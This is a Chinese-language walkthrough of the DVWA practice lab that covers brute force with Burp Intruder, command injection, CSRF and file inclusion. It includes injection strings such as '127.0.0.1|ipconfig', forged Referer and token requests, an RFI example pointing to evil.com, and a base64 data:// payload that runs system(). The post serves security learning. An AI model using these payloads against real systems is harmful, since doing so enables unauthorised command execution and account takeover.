当前位置: 首页 > article >正文

DVWA 靶场

DVWA 靶场的通关

刚建立和使用

输入

http://dvwa:8898/setup.php  //进入

用户名 密码

dvwa
你自己设计的

想要进入数据库

点击creat

用户名 密码

admin
password

Attack type

Sniper模式

在Sniper模式下,Payload字典用于逐个替换请求中标记的位置。例如,如果一个表单需要用户名和密码,Sniper会依次尝试不同的用户名和密码组合,直到找到有效的登录凭证或确定该字段不存在漏洞1。

Battering Ram模式

Battering Ram模式则是在所有标记位置插入相同的Payload。这种模式适用于需要在多个地方输入相同数据的场景,如验证码或会话令牌验证1。

Pitchfork模式

Pitchfork模式通过多个Payload字典组合使用,每个字典针对不同的输入位置。这种方式适用于需要关联输入的场景,例如,用户名列表和对应的密码列表需要一一匹配1。

Cluster Bomb模式

Cluster Bomb模式生成所有可能的组合,适用于完全独立的多参数组合爆破。这种模式可以有效地测试各种复杂的输入组合,帮助发现潜在的漏洞1。

payload字典是一些预设的参数集合 用于构造和发送攻击请求 这些参数可以是用户名 密码 url参数等 至于这些参数那里来的可以从一些现有的字典获取(github)

token值

  • 服务器随机生成的随机字符串 用于验证请求的合法性 每次用户访问页面时 服务器会生成一个新的token (他是有期限的 过期了需重新获得)
  • 登录场景:用户提交用户名和密码时,还需附带服务器返回的Token值。

  • 防御机制

    • 防止CSRF攻击:攻击者无法伪造包含有效Token的请求。
    • 阻断自动化爆破:每次爆破需携带最新Token,而Token需从服务器动态获取,导致传统字典爆破失效。

+++

shell_exec函数

  • Php 中的一个内置函数 作用是通过shell环境执行命令
  • 它允许PHP代码在服务器的操作层面执行外部命令

+++

Low Mudium High

Brute Force

low

这里直接在登录框中随便输入一些提交 并用bp拦截

在顶部看到了username = password = 这里直接发送到intruder 中 攻击模式选择cluster bomb ->分别在username = password = 后面用add 载荷将你写的东西包住 之后payload set 中 在1 和 2 中分别导入字典 之后直接开始攻击 这里是否攻击成功主要取决于你的字典中东西的组合是否可以匹配到正确的用户名和密码

medium

这里于low的区别在于这里增加了sleep ,也就是用户每一次输入失败都会导致暂停两秒之后才可以登录 所以这只是延长了我们的爆破时间而已 步骤和上述没有什么区别

+++

Command Injection

**原理 **:

命令注入(Command Injection)是一种严重的安全漏洞,通常发生在应用程序未能正确验证、过滤或转义用户输入的情况下。攻击者可以通过构造特殊的命令字符串如8.8.8.8 && net user,利用这一漏洞执行外部程序或系统命令,从而达到非法获取数据或控制服务器的目的1。

low
它让我们输入ip 地址 我们输入127.0.0.1 它这里出现了ping 也就是和我们的cmd有类似的效果 但是我们尝试输入ipoconfig发现不可以

这是因为ipconfig 不是一个ip地址 所以不给 但是 我们输入127.0.0.1|ipconfig 就可以了

  • 这里我们要说一下命令连接符
    & :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
    &&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
    |:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
    ||:前面一个命令不能正常执行后,才能执行后面一个命令

medium

代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {       //检查是否通过Post提交submit
	// Get input
	$target = $_REQUEST[ 'ip' ];      //用request 超全局变量将ip地址交给target

	// Set blacklist
	$substitutions = array(  //建立黑名单过滤
		'&&' => '',       
		';'  => '',
	);

	// Remove any of the characters in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );  //这里直接将用户输入的内容拼接到ping 后面
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";  //这是html中的一个标签 全程为preformation 叫预格式化处理 使文本按照原始输入的格式在网页显示
}

?>

这里发现黑名单禁止了&& 但是没有禁止| 或者 || 所以还是可以执行的

原理:利用未被过滤的符号拼接额外的命令 后端直接拼接用户输入到系统命令中

+++

CSRF跨站请求伪造

原理:

  • 它利用的使网站对用户浏览器的信任 攻击者通过伪造用户端的浏览器请求 向访问一个用户曾经访问过的网站发送出去恶意命令 使目标网站接收并误认为是用户的真实操作而执行命令

  • 如A为存在CSRF漏洞的网站 B为攻击者恶意搭建的网站 C为A网站的合法用户 用户A登录A网站之后 网站A就产生了cookie 并且返回到浏览器 这时用户A要是没有推出网站 并在同一浏览器中访问网站B 浏览器接受到恶意代码之后根据网站B的请求在用户不知情的情况下向A发出请求 这时候网站A并不知道这个请求是B发起的 所以就以C的权限出路请求 造成了 恶意代码被执行

low

这里显示要修改密码 我们先输入两个一致的密码在之后提交 发现Password changed 我们发现url框中出现了疑似我们更改密码的

password_new=1234&password_conf=1234&Change=Change#
//这里new 是指我们第一次输入的密码 conf 是第二次输入的密码

那么我们考虑输入两次不一样的密码 之后提交 发现提交失败 但是我们尝试在url中将conf=后面的密码修改并提交 发现提交成功了!

漏洞 在于我们可以不通过它给的修改密码的地方而直接在url中修改 意味着我们可以通过控制url 传参在网站之外执行更改密码的操作

源码分析

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];    //通过get传参获得两个变量的值
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!           //从数据库中查询
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$current_user = dvwaCurrentUser();         //修改密码
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user       //返回
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium

源码分析

if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {
    // 通过验证,允许请求 
} else {
    // 拒绝请求(可能是CSRF攻击)
}

//这里通过$_SERVER['HTTP_REFERER']检查http refer 头是否包含当前的服务器域名 是一种常见的CSRF防御手段

漏洞在于我们可以直接通过bp增加或者修改refer 头啊

这里我们先输入new 和 conf 一致的密码 之后change 并用bp 拦截 , 发现里面有Refer 字段

我们再输入new 和 conf不一样的密码 之后提交显示did’t match 之后在url框中继续回车 然后bp拦截 发现里面没有Refer 字段 我们手动加入如(这里面是我们想要修改的密码)

Referer:dvwa:8898/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

之后forword 发现change 成功!!

High

这里我们用bp拦截 发现里面的第一行Get那里面有token 那么我们在拦截之后在上两关的基础上在Referer后面加上&user_token=c018e2889915ff0d2f1b754685469fba# (get那里获得的token) 就change 成功了!

+++

File Inclusion 文件包含

原理

  • 是指当服务器开启特定配置选项时 攻击者可以通过用户输入来包含并执行服务器上的任意文件 分为 本地文件包含lfi 远程文件包含rfi

  • LFI(Local File Inclusion)

    • 定义:使用文件包含函数包含执行本地(Web应用所在主机)文件。
    • 危害:可以查看系统任意文件内容,如果具备一些条件,也可以执行命令1。

    RFI(Remote File Inclusion)

    • 定义:当服务器开启 allow_url_include 选项时,可以通过 PHP 的某些特性函数(如 include(), require())利用 URL 去动态包含远程文件。
    • 危害:可以直接执行任意命令

攻击法

在文件包含漏洞中,除了 file://,攻击者还可能利用其他协议:

  1. http:// 或 https://:用于 RFI,加载远程文件(如 http://evil.com/malicious.php)。

  2. php://:PHP 特有的伪协议,用于访问输入输出流或执行特殊操作。例如:

    • php://filter/convert.base64-encode/resource=config.php:读取文件并编码输出。

      • php://filter 是php的一种特殊功能 可以读取文件并且对其进行处理(如Base 64编码)
      • convert,e 的作用是告诉Php 将文件内容变成Base 64格式()
      • resource 表示要读取的文件是 config.php
      • 关键在于攻击者用这个方法拿到服务器上的文件 但不会执行里面的代码 只是拿到内容!!!
    • php://input:执行通过 POST 数据传入的代码。

  3. data://:数据流协议,可以嵌入恶意代码(如 data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCA8L2Rpdj4nKTs/Pg==)。

      • data:// 是告诉PHP这是数据流
      • text 是说明包裹里的东西是纯文本
      • base 64 是说明后面的包裹里面是base64编码的东西
      • 之后的一串乱码 解码之后就是system() 函数 他可以运行电脑里的命令

low

漏洞这里我们点击file.php 之后进入 发现显示的url上面有page=的字眼 这是明显的File Inclusion 漏洞

我们可以在page 后面加

http://127.0.0.1/upload-labs/

或者

C:\Users\1.txt

就成功访问到了

Medium high

重复上述攻击 发现不可以了 因为通过页面右下角的view source 发现将http://", "https://" 这样的字眼全部禁止了

漏洞 : 文件协议

  • 也就是我们可以利用**URL文件访问协议(file://)**来操作或者访问本地文件系统的一种方法
  • 现代 Web 服务器和 PHP 配置(如allow_url_fopenallow_url_include)默认会限制 file:// 等协议的使用 但如果服务器配置宽松,或开发者未过滤输入,仍然可能被利用

所以(这个在high关卡也可以通过)

file://C:\Users\1.txt

就成功了!

htthttp://p://127.0.0.1/upload-labs/

当然 仅仅是针对本关来说 大小写替换也可以过

hTtp://127.0.0.1/upload-labs/

+++

快马加鞭更新ing …


http://www.kler.cn/a/559321.html

相关文章:

  • WPF框架学习
  • Apache Doris 实现毫秒级查询响应
  • oracle apex post接口
  • vxe-table实现动态列
  • 3分钟idea接入deepseek
  • 4.hive集群搭建
  • 推荐给 Easysearch 新用户的几个 Elasticsearch 可视化工具
  • 【多模态大模型】端侧语音大模型minicpm-o:手机上的 GPT-4o 级多模态大模型
  • 淘系图搜API接入与使用全解析
  • vscode代码补全 main
  • ARM-Linux 基础项目篇——简单的视频监控
  • 路由基本配置
  • 深度学习学习笔记(34周)
  • IDEA中查询Maven项目的依赖树
  • 计算机网络:应用层 —— 域名系统 DNS
  • 【Java并发】CAS原理
  • Spring Boot日志配置与环境切换实战
  • Chrome 浏览器(版本号49之后)‌解决跨域问题
  • 分布式ID介绍实现方案总结
  • C++ 互斥锁的使用